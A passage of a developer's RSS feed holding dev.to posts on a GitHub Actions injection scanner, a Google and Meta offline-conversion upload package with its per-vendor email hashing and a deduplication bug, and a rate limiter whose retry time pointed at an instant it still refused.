&lt;p&gt;One runtime dependency, PyYAML. No network unless you pass &lt;code&gt;--fetch&lt;/code&gt;, which shallow-clones every missing &lt;code&gt;owner/repo@ref&lt;/code&gt; into the actions directory once and then scans. Every file the tool opens is checked against a root after resolving symlinks, and the tests create real symlinks pointing outside to assert that the content never shows up in a hop. The CI runs the tool on its own workflows with &lt;code&gt;--strict&lt;/code&gt;, then on two fixtures it must flag, asserting exit 1 with SHELL and SPOOF in the output. The second step is the one that matters: the first alone would pass for a tool that finds nothing.&lt;/p&gt;

&lt;p&gt;If your fix for an injection was "move it into env", this tells you whether the job is now safe or just quieter.&lt;/p&gt;

</description>
      <category>security</category>
      <category>github</category>
      <category>devops</category>
      <category>python</category>
    </item>
    <item>
      <title>The offline conversion importer you write today fails in the next ad account</title>
      <dc:creator>Vinicius Pereira</dc:creator>
      <pubDate>Thu, 17 Sep 2026 16:29:16 +0000</pubDate>
      <link>https://dev.to/vinimabreu/the-offline-conversion-importer-you-write-today-fails-in-the-next-ad-account-1nc4</link>
      <guid>https://dev.to/vinimabreu/the-offline-conversion-importer-you-write-today-fails-in-the-next-ad-account-1nc4</guid>
      <description>&lt;p&gt;Google's guide for importing offline conversions opens with a warning box that is very easy to scroll past:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Starting June 15, 2026, UploadClickConversion requests will fail if the developer token hasn't previously sent requests to upload offline conversions or enhanced conversions for leads.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;And then it says what to do instead: use the Data Manager API.&lt;/p&gt;

&lt;p&gt;Read the condition again, because the condition is the whole story. It is not about your code and it is not about the ad account. It is about history on the developer token. A token that has been uploading offline conversions for a year keeps working. A token issued for a new integration has no history at all, so identical code that has run fine for a year fails the first time it runs somewhere new.&lt;/p&gt;

&lt;p&gt;That is the worst failure shape on offer. It passes everywhere it was tested and breaks at the next install, and the person who finds out is the next advertiser, not you. The replacement endpoint is &lt;code&gt;POST https://datamanager.googleapis.com/v1/events:ingest&lt;/code&gt;, and it is a different request body, a different scope, a different error vocabulary and a different failure model from the Google Ads API call most sample code still shows.&lt;/p&gt;

&lt;p&gt;So I built the bridge against that endpoint, plus the Meta Conversions API &lt;code&gt;/events&lt;/code&gt; edge on the other side, and wrote down every place where the documentation left room to guess.&lt;/p&gt;

&lt;h2&gt;
  
  
  The loop, in one sentence
&lt;/h2&gt;

&lt;p&gt;A CRM knows which deals closed and for how much. The ad platforms know which clicks they served. Almost nobody owns the piece in between, which is why "we closed forty deals in March and Google shows thirty-one" is such a common question and such a hard one to answer. This pattern shows up in a lot of advertising work, and the shape is always the same.&lt;/p&gt;

&lt;p&gt;The package is called revenue-loop and it exists to make one sentence true: &lt;strong&gt;a conversion is uploaded exactly once, attributed to the campaign the lead actually came from, or it is quarantined with the reason named.&lt;/strong&gt; It never invents an attribution identifier. 734 tests, one runtime dependency, and the whole suite runs offline in under a second.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxwwtkvip3nqeqvzr5f9x.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxwwtkvip3nqeqvzr5f9x.gif" alt="One won deal reaching Google and Meta exactly once: the same email hashed two different ways, a single key shared by both destinations, the CRM firing the same deal again and spending zero requests, and three conversions refused with the reason named" width="720" height="405"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Every number in that animation comes from &lt;code&gt;python examples/loop_demo.py&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Now the part that has to be said plainly, because everything else depends on it. &lt;strong&gt;There is no ad account and no pixel behind this repository. No token was issued and no live call has been made.&lt;/strong&gt; Both platforms ship as deterministic fakes that model their documented semantics: Google's fast-fail request model and its 2,000 event ceiling, Meta's 1,000 event ceiling, its 48 hour deduplication on &lt;code&gt;event_id&lt;/code&gt; plus &lt;code&gt;event_name&lt;/code&gt;, its seven day &lt;code&gt;event_time&lt;/code&gt; rule that fails an entire request. The live adapters exist and their URLs, headers, encodings and error mapping are unit tested, but a run against a real account has not happened, and there is a RUNBOOK whose job is to turn it on honestly the day one exists.&lt;/p&gt;

&lt;p&gt;That limit is what makes the rest checkable. Everything below is reproducible from a clone with no key.&lt;/p&gt;

&lt;h2&gt;
  
  
  The same customer, two hashes, both correct
&lt;/h2&gt;

&lt;p&gt;Here is the part that costs money quietly. This is verbatim from the offline demo, which a test pins byte for byte so the README cannot drift:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;raw email:      cloudy.sanfrancisco+shopping@gmail.com
google form:    cloudysanfrancisco@gmail.com   (gmail rules: dots and +suffix removed)
meta form:      cloudy.sanfrancisco+shopping@gmail.com   (lowercase and trim, nothing else)
google sha256:  223ebda6f6889b1494551ba902d9d381daf2f642bae055888e96343d53e9f9c4
meta sha256:    8dd4a9bf850242873c14976125edabc35096192b784626a5641a7d2de56e3c1e
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That address is Google's own worked example. Its formatting guide requires, for &lt;code&gt;gmail.com&lt;/code&gt; and &lt;code&gt;googlemail.com&lt;/code&gt; only, removing every dot before the &lt;code&gt;@&lt;/code&gt; and the &lt;code&gt;+&lt;/code&gt; with everything after it. Meta's customer information reference asks for whitespace removal and lowercasing and nothing else, and its own worked example is &lt;code&gt;John_Smith@gmail.com&lt;/code&gt; becoming &lt;code&gt;john_smith@gmail.com&lt;/code&gt;: a Google-operated domain keeping a local part the Google rules would have changed.&lt;/p&gt;

&lt;p&gt;One shared &lt;code&gt;normalise_email&lt;/code&gt; is therefore wrong for at least one destination on every gmail address you own. And the wrongness is silent. The upload succeeds, the event is received, the conversion is simply never matched to anybody. Google says it in as many words, warning that skipping those rules "will result in different hash values than Google expects for these domains, leading to missed matches". Nothing raises. The campaign just looks worse than it is.&lt;/p&gt;

&lt;p&gt;The divergence keeps going in smaller places. Google keeps the hyphen in a family name, Meta strips punctuation. Google wants E.164 with the &lt;code&gt;+&lt;/code&gt;, Meta wants digits only. So the package normalises twice, once per dialect, and six hashes in the suite are Meta's own published vectors, input and expected digest both, reproduced exactly. Google's guide publishes normalised forms rather than digests, so its three worked examples are pinned at that level. Two of those vectors are non-ASCII, which matters more than it looks: an implementation that strips non-ASCII "to be safe" produces a wrong hash for both and loses every non-English customer in the account.&lt;/p&gt;

&lt;p&gt;Where the documentation is silent, the silence is named instead of filled. The biggest one is which Unicode case operation "lowercase" means. Both vendors write "convert to lowercase", and &lt;code&gt;str.lower&lt;/code&gt; and &lt;code&gt;str.casefold&lt;/code&gt; disagree on real input, since casefold maps &lt;code&gt;ß&lt;/code&gt; onto &lt;code&gt;ss&lt;/code&gt;, which is a transliteration. This uses &lt;code&gt;str.lower&lt;/code&gt; and a test pins it, because a well-meaning refactor to casefold would change every hash in the system without turning anything red. I have &lt;a href="https://dev.to/vinimabreu/pythons-casefold-merged-two-of-my-customers-into-one-tenant-1g75"&gt;paid for the casefold version of this lesson in production once already&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bug that lied about the reason
&lt;/h2&gt;

&lt;p&gt;This one was found in a skeptical review pass before publishing, and it is the best thing in the repository.&lt;/p&gt;

&lt;p&gt;The upload store is written only after a destination confirms. That asymmetry is deliberate: recording an upload that did not happen loses a conversion silently and forever, while recording nothing for an upload that did happen costs one duplicate request that the deterministic key makes harmless.&lt;/p&gt;

&lt;p&gt;But a store that is written after the send is not consulted usefully during the send. A CRM that fires its webhook on every field change delivers the same won deal twice in one run. Both copies asked the store whether this key had already gone up, both got no, and both travelled in the same request. The batch landed. Two rows for one conversion.&lt;/p&gt;

&lt;p&gt;Nothing errors. The damage arrives later, through the restatement path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;uploaded_total&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;_total_uploaded&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;history&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="c1"&gt;# 4820 + 4820 = 9640
&lt;/span&gt;&lt;span class="n"&gt;delta&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;restatement&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new_value&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;uploaded_total&lt;/span&gt;   &lt;span class="c1"&gt;# 5200 - 9640 = -4440
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A salesperson upsells the deal from 4,820 to 5,200. The history says 9,640 was uploaded. So an honest increase reads as a drop of 4,440, and a drop has no documented path on either API, so the loop quarantines it with &lt;code&gt;negative_adjustment_unsupported&lt;/code&gt; and a message explaining that the value went down.&lt;/p&gt;

&lt;p&gt;The real revenue never reaches the platform, and the reason in the audit trail is false. A person reading that quarantine goes looking for a refund that does not exist. It gets worse under the durable store the RUNBOOK tells you to use, where a unique index on &lt;code&gt;(account_ref, destination, key)&lt;/code&gt; turns the second write into an IntegrityError that takes the run down.&lt;/p&gt;

&lt;p&gt;The fix is one line of doctrine: &lt;strong&gt;the key has to hold in two places, the store and the batch.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;batch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pending&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setdefault&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;account&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;account_ref&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;destination&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="p"&gt;[])&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;any&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;ready&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;item&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;batch&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# already in this batch: record it, send nothing
&lt;/span&gt;    &lt;span class="bp"&gt;...&lt;/span&gt;
    &lt;span class="k"&gt;continue&lt;/span&gt;
&lt;span class="n"&gt;batch&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ready&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Plus &lt;code&gt;dict.fromkeys(outcome.accepted)&lt;/code&gt; on the way back, so one accepted key writes one row whatever the destination echoes. Two tests pin it, and I checked both by stashing the fix and watching them fail: &lt;code&gt;test_the_same_deal_twice_in_one_run_uploads_once&lt;/code&gt; and &lt;code&gt;test_an_upsell_after_a_duplicated_delivery_still_adds_the_difference&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The general shape is worth carrying out of this repo. A uniqueness rule enforced at the point of persistence is not enforced at all while there is an unpersisted buffer in front of it. Queues, batchers, in-flight maps and request bodies are all that buffer.&lt;/p&gt;

&lt;h2&gt;
  
  
  What it refuses to guess
&lt;/h2&gt;

&lt;p&gt;The short version of the doctrine, each line an executable test:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;{{gclid}}&lt;/code&gt;, &lt;code&gt;undefined&lt;/code&gt; and &lt;code&gt;N/A&lt;/code&gt; are not identifiers. A template that never rendered uploads a conversion that counts, attributes to nothing, and leaves the diagnostics report looking healthy.&lt;/li&gt;
&lt;li&gt;Geography alone is not an identifier either. &lt;code&gt;sha256("us")&lt;/code&gt; is the same value for every customer in the country. Meta accepts it. It matches nobody, so the gate stops at person-level signals.&lt;/li&gt;
&lt;li&gt;A short count from Meta is ambiguous, not partial success. The documented body is a count with no list of which events it refers to, so nothing is recorded as uploaded and the next run re-sends under the same &lt;code&gt;event_id&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;One stale event takes a Meta batch with it. Past seven days the whole request errors, so 999 good conversions die for one bad row, which is why the window check happens locally before a request is spent.&lt;/li&gt;
&lt;li&gt;A refund is quarantined naming &lt;code&gt;ConversionAdjustmentUploadService&lt;/code&gt;, the Google Ads API service that documents restatements and retractions, which this package does not speak. No negative conversion value invented to approximate one.&lt;/li&gt;
&lt;li&gt;Google's request reference and limits page both say 2,000 events per request while its &lt;code&gt;TOO_MANY_EVENTS&lt;/code&gt; error reason says 10,000. This batches at 2,000 and writes the contradiction down rather than averaging it away.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What it does not tell you
&lt;/h2&gt;

&lt;p&gt;The fakes are my model of the documentation, and a model is not a platform. Step 8 of the RUNBOOK exists because of the biggest gap: Meta documents deduplication on &lt;code&gt;event_id&lt;/code&gt; plus &lt;code&gt;event_name&lt;/code&gt; for 48 hours, and Google documents deduplication between a tag and the API, not between two ingestions of the same API. On the Google side the key is a hedge whose behaviour has to be confirmed once against a live account, deliberately, by sending the same conversion twice.&lt;/p&gt;

&lt;p&gt;Google names an &lt;code&gt;EVENT_TIME_INVALID&lt;/code&gt; error without publishing the window it applies, so the window here is configurable and unset by default rather than guessed. The default upload store is process-local memory, which is correct for the suite and gone the moment the process dies. And none of this reports anything: the platform's own reporting stays the only honest source for what the numbers are, because a second number is a second argument.&lt;/p&gt;

&lt;p&gt;The code, the two dialects, the demo and both regression tests are in &lt;a href="https://github.com/vinimabreu/revenue-loop" rel="noopener noreferrer"&gt;github.com/vinimabreu/revenue-loop&lt;/a&gt;, MIT, no network in the suite.&lt;/p&gt;

&lt;p&gt;An uploaded conversion nobody can attribute is not measurement. It is a report that agrees with you.&lt;/p&gt;




&lt;p&gt;Vinicius Pereira&lt;br&gt;
&lt;a href="https://vinimabreu.dev" rel="noopener noreferrer"&gt;vinimabreu.dev&lt;/a&gt; · &lt;a href="https://github.com/vinimabreu" rel="noopener noreferrer"&gt;github.com/vinimabreu&lt;/a&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>api</category>
      <category>testing</category>
      <category>softwareengineering</category>
    </item>
    <item>
      <title>My rate limiter told callers to come back at a time it would refuse them</title>
      <dc:creator>Vinicius Pereira</dc:creator>
      <pubDate>Sun, 13 Sep 2026 17:01:09 +0000</pubDate>
      <link>https://dev.to/vinimabreu/my-rate-limiter-told-callers-to-come-back-at-a-time-it-would-refuse-them-1g3o</link>
      <guid>https://dev.to/vinimabreu/my-rate-limiter-told-callers-to-come-back-at-a-time-it-would-refuse-them-1g3o</guid>
      <description>&lt;p&gt;The gate said no, and it said when to come back.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HOLD   frequency_cap   retry_after 2026-09-15T12:00:00Z
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the caller came back at 12:00:00Z, and the gate said no, and it said to come back at 12:00:00Z.&lt;/p&gt;

&lt;p&gt;Nobody was in an infinite loop in production, because this was a test suite and the package had not shipped yet. But the shape of it is the thing I want to write about, because I have written rate limiting more than once and I had never tested the part that broke.&lt;/p&gt;

&lt;h2&gt;
  
  
  The package, briefly
&lt;/h2&gt;

&lt;p&gt;I was building a decision service for follow-up sequences. The idea is small: your n8n or Make scenario already knows how to send a message, so this is the thing it asks first. It answers &lt;code&gt;SEND&lt;/code&gt;, &lt;code&gt;SKIP&lt;/code&gt;, &lt;code&gt;HOLD&lt;/code&gt;, &lt;code&gt;STOP&lt;/code&gt; or &lt;code&gt;ESCALATE&lt;/code&gt;, with a reason and the evidence it read.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F52r8ty5boaobm9psfdw2.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F52r8ty5boaobm9psfdw2.gif" alt=" " width="720" height="405"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Four acts: the case, a signal that lands between steps, the same step asked twice after a restart, and a quiet window read on the contact's clock.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;One of the rules it enforces is a frequency cap. At most N messages on a channel per contact inside a sliding window, counted across every sequence that contact is in, because two campaigns that each respect their own limit still add up to two messages for the person receiving them.&lt;/p&gt;

&lt;p&gt;The cap is about eleven lines. Here is the shape of it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;cap&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;sequence&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;caps&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;channel&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;step&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;channel&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;continue&lt;/span&gt;
    &lt;span class="n"&gt;since&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;window&lt;/span&gt;
    &lt;span class="n"&gt;sends&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ledger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sends_for_contact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;case&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contact_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;channel&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;since&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sends&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;limit&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;continue&lt;/span&gt;
    &lt;span class="n"&gt;oldest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decided_at&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;sends&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nc"&gt;Hold&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;reason&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;FREQUENCY_CAP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;retry_after&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;oldest&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;cap&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;window&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Read it again and it still looks right. One send at 12:00 on Monday, a cap of one per day, so the window clears at 12:00 on Tuesday. That is exactly what &lt;code&gt;oldest + cap.window&lt;/code&gt; says.&lt;/p&gt;

&lt;h2&gt;
  
  
  The other half, in another file
&lt;/h2&gt;

&lt;p&gt;The ledger decides what counts as inside the window.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;sends_for_contact&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;contact_id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;channel&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;since&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_records&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;contact_id&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;contact_id&lt;/span&gt;
        &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;channel&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;channel&lt;/span&gt;
        &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decided_at&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;since&lt;/span&gt;          &lt;span class="c1"&gt;# &amp;lt;- here
&lt;/span&gt;        &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;failed&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;&amp;gt;=&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;At 12:00 on Tuesday, &lt;code&gt;since&lt;/code&gt; is 12:00 on Monday. The Monday send has &lt;code&gt;decided_at == since&lt;/code&gt;. Monday is greater than or equal to Monday, so the send is still in the window, so the count is still one, so the cap still holds, so the gate computes &lt;code&gt;oldest + window&lt;/code&gt; again and returns the same instant it just refused.&lt;/p&gt;

&lt;p&gt;The two pieces of code were written twenty minutes apart, in two files, and each one is defensible alone. The interval is closed at the bottom in one and treated as open at the bottom in the other. A window that includes its own lower boundary can never be escaped by waiting exactly one window.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fs7d84vtlhka5z9d4tc8x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fs7d84vtlhka5z9d4tc8x.png" alt=" " width="800" height="325"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;The whole bug in one line: the instant the refusal points at is the instant the rule still refuses.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Why the suite did not catch it
&lt;/h2&gt;

&lt;p&gt;This is the part I actually want to talk about, because the test that should have caught it was already there. Here it is as I first wrote it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_the_cap_holds_the_second_send_inside_the_window&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;harness&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send_and_confirm&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;s1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;harness&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;clock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;advance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;timedelta&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hours&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

    &lt;span class="n"&gt;verdict&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;harness&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decide&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;s2&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;verdict&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;kind&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;VerdictKind&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HOLD&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;verdict&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reason&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;Reason&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;FREQUENCY_CAP&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Green. It asserts that the cap refuses. It says nothing at all about the instruction attached to the refusal.&lt;/p&gt;

